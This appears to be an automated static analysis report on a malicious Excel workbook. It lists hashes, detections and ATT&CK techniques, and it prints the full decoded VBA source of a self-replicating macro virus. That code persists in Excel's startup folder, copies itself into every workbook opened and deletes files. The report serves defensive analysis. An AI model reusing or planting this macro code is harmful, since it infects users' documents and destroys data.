Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c30bc5f0ba0c6866…

MALICIOUS

Office (OLE) / .XLS

183.5 KB Created: 2013-06-11 08:48:31 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: 19c662e5594742f2b606bc9a64613b62 SHA-1: 66d5e1d3b9a3dd8cb88907757dfb08f900acee14 SHA-256: c30bc5f0ba0c6866f5447ff672d978a6fe89d14069a7c08f7418ab53b686a524
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1547.001 Registry Run Keys / Startup Folder

The sample is a macro-enabled Excel file that uses VBA to establish persistence. The Auto_Open macro copies the workbook to the Excel startup folder as 'mypersonnel.xls' and sets up an OnSheetActivate hook to execute malicious code. The Auto_Close macro attempts to convert the file to an older XLS format and delete the XLSX version, further indicating malicious intent.

Heuristics 7

  • ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/g/img/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/illustrator/1.0/In document text (OLE body)
    • http://ns.adobe.com/pdf/1.3/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1682 bytes
SHA-256: ced09cdc775a0e0e87daedc6f1c4475f11f79480cb5d6b4d3a201dde3b99f56d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled



Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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